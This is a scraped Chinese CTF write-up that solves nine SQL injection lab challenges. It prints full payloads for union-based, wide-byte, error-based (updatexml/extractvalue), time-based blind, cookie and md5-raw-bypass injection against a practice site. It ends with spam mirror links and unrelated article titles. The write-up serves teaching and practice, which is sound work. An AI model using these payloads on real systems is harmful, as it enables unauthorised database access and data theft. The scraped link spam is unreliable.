当前位置: 首页 > news >正文

网站建设协议微信开店免费平台

网站建设协议,微信开店免费平台,代运营公司是怎么运营的,网站建设需要提供哪些信息4.注入关 1.最简单的SQL注入 url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php 查看源代码#xff0c;登录名为admin 最简单的SQL注入#xff0c;登录名写入一个常规的注入语句#xff1a; admin’ or ‘1’1 密码随便填#xff0c;验证…4.注入关 1.最简单的SQL注入 url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php 查看源代码登录名为admin 最简单的SQL注入登录名写入一个常规的注入语句 admin’ or ‘1’1 密码随便填验证码填正确的点击登录 得到我的座右铭(flag)是iamflagsafsfskdf11223 2.最简单的SQL注入(熟悉注入环境) urlhttp://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php 查看源代码访问urlhttp://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id1 构造页面并访问?id1 and 11 返回正常?id1 and 12返回出错说明存在SQL注入 判断字段数 ?id1 order by 3页面返回正常说明有三个字段 判断回显点 ?id-1 union select 1,2,3 我们可以在如图所示位置进行查询 查询数据库名为mydbs ?id-1 union select 1,2,database() 查询数据表为sae_user_sqli3 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() 查询字段名为id,title,content ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namesae_user_sqli3 查询字段内容 ?id-1 union select 1,2,content from sae_user_sqli3 得到HKGGflagdfs56757fsdv 3.防注入 urlhttp://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php 本关尝试使用宽字节注入添加单引号会出现空白页没有报错使用?id1%df’ 成功报错找到注入点 构造语句?id1%df%27%20or%2011%23 页面正常回显说明or语句执行成功可以注入 构造语句?id1%df%27%20or%2011%20limit%202,1%23 得到Hsaagdfs56sdf7fsdv 另外一种方法是像上一关一样操作只是需要构造语句?id1%df%27 。。。%23 确定字段长度 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id1%df’ order by 3 %23 确定显示位 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id1%df’ union select 1,2,3 %23 得到数据库 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id1%df union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()) %23得到列名 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id1%df union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name0x7361655f757365725f73716c6934) %23得到字段 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id1%df union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %234.到底能不能回显 urlhttp://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start0num1 经过测试只有start参数有作用num参数并没有作用。 构造payload 查询数据库名 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23num1查询数据表名 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()))),1)%23num1查询列名(由于分号被过滤了只能将表名转换成16进制) http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name0x75736572))),1)%23num1查询flagmyflagishere http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23num15.邂逅 urlhttp://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg 真的是第一次见图片后缀前面注入加宽字节注入因为无回显所以用burp注入 burp对图片抓包的设置 在上图所示的位置 构造payload 查询注入点 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg 页面报错 查询列数4列 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg 查询显示位3 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg 查询数据库mydbs http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg 查询表名article,pic http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),4 %23.jpg查询列名id,picname,data,text http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name0x706963),4 %23.jpg查询数据flag http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg 将图片后缀改为flagishere_askldjfklasjdfl.jpg 访问urlhttp://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg 得到flag is “IamflagIloveyou!” 6.ErrorBased url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?usernameadmin 本题考查mysql的报错注入 查询数据库名mydbs ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q 查询数据表名log,motto,user ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schemadatabase())),1)%20–%20q 查询motto表的下的列名id,username,motto ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name‘motto’)),1)%20–%20q 查询id字段的值0,1,2,100000 ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q 查询username字段的值admin,guest,test,#adf#ad# ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q 查询motto字段的值mymotto,happy everyday,nothing ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q 对比两次注入的结果发现username字段比motto字段多一个结果这说明flag可能就在被隐藏的结果中 再次构造语句,直接查询第四个值得到notfound! 根据提示flag不带key和# ?usernameadmin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q 7.盲注 urlhttp://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php 本题使用延时盲注 判断当前数据库名长度为5页面没有延时说明数据库长度为5 %27and%20sleep(if((length(database())5),0,3))–%20q 判断库名第一个值为m页面没有延时说明数据库第一个值为m ’ and if(substr(database(),1,1)‘m’,0,sleep(3))-- q 以此类推数据库名为mydbs 判断表名第一个表的第一个值为l页面没有延时说明第一个表的第一个值为l ’ and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)‘l’,0,sleep(3))-- q 以此类推数据表名为log,motto,user 判断motto表中第一个字段的第一个值是i页面没有延时users表中第一个字段的第一个值是i ’ and if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_name‘motto’ limit 0,1),1,1)‘i’,0,sleep(3))-- q 以此类推数据表motto中的字段值为id,username,motto 判断motto表中第一个内容的第一个值为m页面没有延时motto表中第一个内容的第一个值为m ’ and if(substr((select id from motto limit 0,1),1,1)‘0’,0,sleep(3))-- q 以此类推得到flagnotfound! 延时注入太慢了sqlmap跑也比较慢 8.SQL注入通用防护 urlhttp://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id1 本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入使用burp抓包 在cookie处构造字段id1 and 11回显正常id1 and 12回显错误说明此处存在数字型SQL注入 查询字段数目 id1 order by 3 最后得到字段数目是3。 查询显示位得到显示位是23 id1 union select 1,2,3 查询数据库名得到数据库名为mydbs id1 union select 1,2,database() 查询表名得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8 id1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()) 查询sae_manage_sqli8表中的字段得到了id,username,password这3个字段 id1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name‘sae_manager_sqli8’) 查询flagIamFlagCookieInject! id1 union select 1,2,password from sae_manager_sqli8 9.据说哈希后的密码是不能产生注入的 urlhttp://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 查看关键源 select * from user where userid.intval($_GET[userid]). and password.md5($_GET[pwd], true) .对传入的userid使用了intval()函数转化为数字同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。 其中最主要的就是md5()函数当第二个参数为true时会返回16字符的二进制格式。当为false的时候返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。 md5(‘123’) //202cb962ac59075b964b07152d234b70 md5(‘123’,true) // ,bY[K-#Kp 只要md5(str,true)之后的值是包含了’or’这样的字符串那么sql语句就会变为select * from users where usrid“XXX” and password‘‘or’’。如此就可以绕过了。 提供一个字符ffifdyop md5后276f722736c95d99e921722cf9ed621c 可以伪造成 select * from user where userid‘1’ and pwd ‘or’6É]™é!r,ùíb’ 从而成功绕过得到Flag: FsdLAG67a6dajsdklsdf payload http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid1pwdffifdyop 文笔生疏措辞浅薄望各位大佬不吝赐教万分感谢。 免责声明由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失均由使用者本人负责 文章作者不为此承担任何责任。 转载声明儒道易行 拥有对此文章的修改和解释权如欲转载或传播此文章必须保证此文章的完整性包括版权声明等全部内容。未经作者允许不得任意修改或者增减此文章的内容不得以任何方式将其用于商业目的。 博客: https://rdyx0.github.io/先知社区 https://xz.aliyun.com/u/37846SecIN: https://www.sec-in.com/author/3097CSDN: https://blog.csdn.net/weixin_48899364?typeblog公众号 https://mp.weixin.qq.com/mp/appmsgalbum?__bizMzg5NTU2NjA1Mwactiongetalbumalbum_id1696286248027357190scene173from_msgid2247485408from_itemidx1count3nolastread1#wechat_redirectFreeBuf https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
文章转载自:
http://www.morning.kjyfq.cn.gov.cn.kjyfq.cn
http://www.morning.mytmx.cn.gov.cn.mytmx.cn
http://www.morning.qrqcr.cn.gov.cn.qrqcr.cn
http://www.morning.chmcq.cn.gov.cn.chmcq.cn
http://www.morning.rkwwy.cn.gov.cn.rkwwy.cn
http://www.morning.pylpd.cn.gov.cn.pylpd.cn
http://www.morning.tqdqc.cn.gov.cn.tqdqc.cn
http://www.morning.jcfqg.cn.gov.cn.jcfqg.cn
http://www.morning.pyxwn.cn.gov.cn.pyxwn.cn
http://www.morning.dhpjq.cn.gov.cn.dhpjq.cn
http://www.morning.rkzb.cn.gov.cn.rkzb.cn
http://www.morning.rqwwm.cn.gov.cn.rqwwm.cn
http://www.morning.lnrhk.cn.gov.cn.lnrhk.cn
http://www.morning.tyklz.cn.gov.cn.tyklz.cn
http://www.morning.rxydr.cn.gov.cn.rxydr.cn
http://www.morning.gnlyq.cn.gov.cn.gnlyq.cn
http://www.morning.dzrcj.cn.gov.cn.dzrcj.cn
http://www.morning.rdlxh.cn.gov.cn.rdlxh.cn
http://www.morning.ryfqj.cn.gov.cn.ryfqj.cn
http://www.morning.pxjp.cn.gov.cn.pxjp.cn
http://www.morning.jrwbl.cn.gov.cn.jrwbl.cn
http://www.morning.bzcjx.cn.gov.cn.bzcjx.cn
http://www.morning.ghkgl.cn.gov.cn.ghkgl.cn
http://www.morning.kxryg.cn.gov.cn.kxryg.cn
http://www.morning.txkrc.cn.gov.cn.txkrc.cn
http://www.morning.qgkcs.cn.gov.cn.qgkcs.cn
http://www.morning.zxqxx.cn.gov.cn.zxqxx.cn
http://www.morning.qytyt.cn.gov.cn.qytyt.cn
http://www.morning.rmqmc.cn.gov.cn.rmqmc.cn
http://www.morning.tnjkg.cn.gov.cn.tnjkg.cn
http://www.morning.nysjb.cn.gov.cn.nysjb.cn
http://www.morning.ffptd.cn.gov.cn.ffptd.cn
http://www.morning.gyzfp.cn.gov.cn.gyzfp.cn
http://www.morning.btjyp.cn.gov.cn.btjyp.cn
http://www.morning.ygmw.cn.gov.cn.ygmw.cn
http://www.morning.kzpxc.cn.gov.cn.kzpxc.cn
http://www.morning.zcwzl.cn.gov.cn.zcwzl.cn
http://www.morning.xxwfq.cn.gov.cn.xxwfq.cn
http://www.morning.mxptg.cn.gov.cn.mxptg.cn
http://www.morning.nkjpl.cn.gov.cn.nkjpl.cn
http://www.morning.nwfxp.cn.gov.cn.nwfxp.cn
http://www.morning.dnydy.cn.gov.cn.dnydy.cn
http://www.morning.wnkbf.cn.gov.cn.wnkbf.cn
http://www.morning.yhpq.cn.gov.cn.yhpq.cn
http://www.morning.cpnlq.cn.gov.cn.cpnlq.cn
http://www.morning.ghfrb.cn.gov.cn.ghfrb.cn
http://www.morning.tpdg.cn.gov.cn.tpdg.cn
http://www.morning.jrslj.cn.gov.cn.jrslj.cn
http://www.morning.zcwtl.cn.gov.cn.zcwtl.cn
http://www.morning.mlpch.cn.gov.cn.mlpch.cn
http://www.morning.mqfkd.cn.gov.cn.mqfkd.cn
http://www.morning.zcxjg.cn.gov.cn.zcxjg.cn
http://www.morning.fbhmn.cn.gov.cn.fbhmn.cn
http://www.morning.bkxnp.cn.gov.cn.bkxnp.cn
http://www.morning.3dcb8231.cn.gov.cn.3dcb8231.cn
http://www.morning.rpgdd.cn.gov.cn.rpgdd.cn
http://www.morning.tdxnz.cn.gov.cn.tdxnz.cn
http://www.morning.hbhnh.cn.gov.cn.hbhnh.cn
http://www.morning.wtdyq.cn.gov.cn.wtdyq.cn
http://www.morning.lqchz.cn.gov.cn.lqchz.cn
http://www.morning.xgjhy.cn.gov.cn.xgjhy.cn
http://www.morning.qtrlh.cn.gov.cn.qtrlh.cn
http://www.morning.ypqwm.cn.gov.cn.ypqwm.cn
http://www.morning.mkyxp.cn.gov.cn.mkyxp.cn
http://www.morning.gqcsd.cn.gov.cn.gqcsd.cn
http://www.morning.wlfxn.cn.gov.cn.wlfxn.cn
http://www.morning.qytby.cn.gov.cn.qytby.cn
http://www.morning.rdymd.cn.gov.cn.rdymd.cn
http://www.morning.bdqpl.cn.gov.cn.bdqpl.cn
http://www.morning.qbdsx.cn.gov.cn.qbdsx.cn
http://www.morning.rfkyb.cn.gov.cn.rfkyb.cn
http://www.morning.xnkb.cn.gov.cn.xnkb.cn
http://www.morning.zwgrf.cn.gov.cn.zwgrf.cn
http://www.morning.nqyzg.cn.gov.cn.nqyzg.cn
http://www.morning.qqrqb.cn.gov.cn.qqrqb.cn
http://www.morning.mhmdx.cn.gov.cn.mhmdx.cn
http://www.morning.brmbm.cn.gov.cn.brmbm.cn
http://www.morning.qsxxl.cn.gov.cn.qsxxl.cn
http://www.morning.yrhpg.cn.gov.cn.yrhpg.cn
http://www.morning.zmlbq.cn.gov.cn.zmlbq.cn
http://www.tj-hxxt.cn/news/278629.html

相关文章:

  • 网站建设价格最低多少钱企业网站优化案例
  • seo站内优化公司wordpress c值播放
  • 厦门做网站软件岳麓书院网页制作
  • 域名服务器ip查询网站做一款网站注意啥
  • 月嫂的个人简历网站模板杭州科技网站
  • 中国建设银行官网站网点电商产品推广方案范文
  • 中山网站开发公司企业信息查询
  • 建设全球购多用户商城网站莆田专业建站公司
  • 大连哪里有手机自适应网站建设wordpress h1标签优化
  • 网站设计怎么写龙岗建设高端网站
  • 哪里有门户网站开发公司网页设计文案
  • 做一套网站开发多少钱wordpress 宝典 pdf
  • html5经典网站网站制作企业
  • 网站重要组成部分邀请注册推广赚钱的app
  • 一个域名对应多个网站蒲城县住房和城乡建设局网站
  • 网站免费模板制作万网 成品网站
  • 如何做网站安全加固网站版建设
  • 微网站销售十堰互联网公司
  • 昆明网站建设电话南京建设网站制作
  • 微信登录 网站开发网站建设技术保证怎么写
  • 搜狗站长管理平台东莞公共资源交易中心官网
  • 泉州安溪县住房和城乡建设网站沧州网站设计多少钱
  • 网站前端用什么做中企动力做网站的优势
  • 溧水区住房城乡建设局网站深圳市招聘网站
  • 做一婚恋网站多少钱服装网站建设案例分析
  • 标题制作网站wordpress网站图片迁移
  • 五个推进网站建设工作做任务打字赚钱的网站
  • 网站开发投标书手机做网站公司有哪些
  • 网站建设及推广好学习吗别墅效果图制作
  • 网站投放广告费用龙岗附近做网站公司哪家好